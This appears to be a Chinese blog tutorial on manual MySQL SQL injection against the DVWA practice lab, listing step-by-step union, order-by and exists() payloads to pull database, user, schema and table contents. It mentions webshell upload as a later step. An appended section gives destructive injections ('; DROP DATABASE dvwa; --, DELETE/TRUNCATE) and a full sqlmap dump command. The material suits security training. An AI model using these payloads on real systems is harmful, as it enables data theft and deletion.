SQL注入之DVWA平台测试mysql注入

本文通过DVWA平台演示了针对MySQL数据库的SQL注入攻击测试过程,包括寻找注入点、获取数据库信息、猜解表名及字段名等内容。
今天主要针对mysql常用注入语句进行测试。

测试环境与工具:

测试平台:DVWA,下载地址:http://www.2cto.com/soft/201303/38043.html,也可下载metaspolit-table2虚拟机,里面已经部署好了dvwa.。

渗透工具burpsuite-1.4.07:下载地址:http://www.2cto.com/soft/201211/35515.html

    首先我们介绍下DVWA和Burpsuite,DVWA这是一个php+mysql平台构建的预置web常见漏洞的渗透练习平台。能够帮助web应用安全研究人员很好了解web漏洞。Burpsuite是一款功能强大的web渗透测试工具。

    SQL注入漏洞在OWASP TOP 10威胁中,一直排名第一,安全威胁可见一斑。SQL注入渗透测试过程中,针对不同的数据库平台,注入语句选择也不同,本篇笔者主要测试mysql注入的常用语句以及渗透思路。

 

登录访问DVWA,默认用户名:admin密码:password.

加载中...

登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。加载中...

1、找到SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1,可以得到如下结果

加载中...


当将输入变为“'”时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。加载中...

加载中...

2、尝试遍历数据库表,由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:1 or 1=1 ,看能否把数据库表中的内容遍历出来。可是结果如下,并没有显示出所有信息

加载中...

于是猜测,是否后台应用程序将此值看做了字符型,于是输入:1'or'1'='1,结果,遍历出了数据库中的所有内容,如果是重要数据库表,可能这个信息已经对于攻击者,有了足够意义:如图

1'or'1'='1

加载中...

 

3、测试查询信息列数。利用语句order by num 

这里我们输入 " 1'order by 1 -- " 结果页面正常显示,注意-- 后面有空格。继续测试," 1'order by 2 -- "," 1'order by 3 -- ",当输入3是,页面报错。页面错误信息如下,Unknown column '3' in 'order clause',由此我们判断查询结果值为2列。

1'order by 1 --

1'order by 3 --

 


加载中...

  Unknown column '3' in 'order clause'

4、通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。

这里尝试注入 “1' and 1=2 union select 1,2 -- ”结果如下

1' and 1=2 union select 1,2 -- 

加载中...

从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:

1' and 1=2 union select user(),database()  -- 

加载中...

连接数据库的用户为root@localhost,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,“1' and 1=2 union select version(),database()  -- ”便得到了版本信息,

1' and 1=2 union select version(),database()  -- 加载中...

5、获得操作系统信息。


1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

加载中...

6、测试连接数据库权限:


 1' and ord(mid(user(),1,1))=114 -- 

加载中...

7、查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。


1' and 1=2 union select 1,schema_name from information_schema.schemata -- 

加载中...

8、猜解dvwa数据库中的表名。利用1‘ and exists(select * from 表名),此处表名猜解可以通过brupsuit挂字典猜解。这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。

1' and exists(select * from users) --

加载中...

 

9、猜解字段名:1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name


1' and exists(select first_name from users) -- 

ID: 1' and exists(select last_name from users) -- 

加载中...

加载中...

10、爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users -- ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。

加载中...

以上是笔者根据dvwa平台sql injection漏洞对mysql常用语句所做的测试。这里我们可以大致总结渗透的一般思路:

1、寻找注入点,可以通过web扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

今天笔者只在dvwa平台现有环境下,简单测试了mysql几个常用注入语句:

1' order by 2 --   /*用来猜解查询信息的列数

1' and 1=2 union select user(),database(),-- 

1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 --  /*测试连接数据库用户权限

1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名

1' and exists(select first_name from users) -- /猜解字段名

1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容

 

关于mysql注入测试,就简单介绍到这里,如有错误,欢迎指正。关于brupsuite如何自动注入,将在其他篇章介绍

### 删除DVWA中的MySQL数据库数据 在处理SQL注入攻击时,删除整个数据库的操作是非常危险的行为。通常情况下,这种操作仅用于学习环境下的实验目的,在实际生产环境中绝对不建议执行此类操作。 要通过SQL注入删除`dvwa`数据库中的所有数据,可以按照以下方法实现: #### 方法一:使用 `DROP DATABASE` 命令 如果权限允许,可以通过 SQL 注入发送 `DROP DATABASE dvwa;` 的指令来完全移除该数据库及其所有内容[^1]。然而需要注意的是,大多数 Web 应用程序会限制用户的权限,使得无法直接运行此命令。以下是可能的注入语句形式: ```sql '; DROP DATABASE dvwa; -- ``` #### 方法二:逐表清空数据 更常见的情况是,即使不能直接删除整个数据库,也可以逐一清除其中的数据表。假设已经获得了目标数据库内的表格名称列表,则可通过如下方式分别清理每张表的内容: ```sql DELETE FROM table_name; TRUNCATE TABLE table_name; ``` 对于多个表而言,可构造批量请求完成这一过程。例如,假如已知存在两个表分别为 users 和 orders ,则对应的注入字符串可能是这样的结构: ```sql '; DELETE FROM users; DELETE FROM orders; -- ``` 或者采用更为简洁的方式一次性清空指定范围内的所有表项(需注意语法兼容性): ```sql '; TRUNCATE TABLE users; TRUNCATE TABLE orders; -- ``` #### 自动化工具辅助 为了简化手动构建复杂查询的过程,还可以借助像 SqlMap 这样的自动化渗透测试工具来进行高级别的控制与管理。比如之前提到过的例子中增加了参数选项 `-D dvwa --tables` 来列举具体有哪些可用表之后,再进一步扩展成破坏性的动作前务必确认清楚后果并做好充分准备以防误伤其他重要资源。 最后提醒一点非常重要——以上所有的讨论都建立在一个前提之上即拥有足够的合法授权去针对特定实例实施这些行动;否则非法入侵他人服务器属于违法行为! ```bash sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" \ -D dvwa --dump-all --risk=3 --level=5 --random-agent --tamper=between.py --batch ``` 上述脚本展示了如何利用Sqlmap枚举出更多潜在敏感信息的同时也提高了探测强度等级以便发现隐藏更深的安全隐患[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值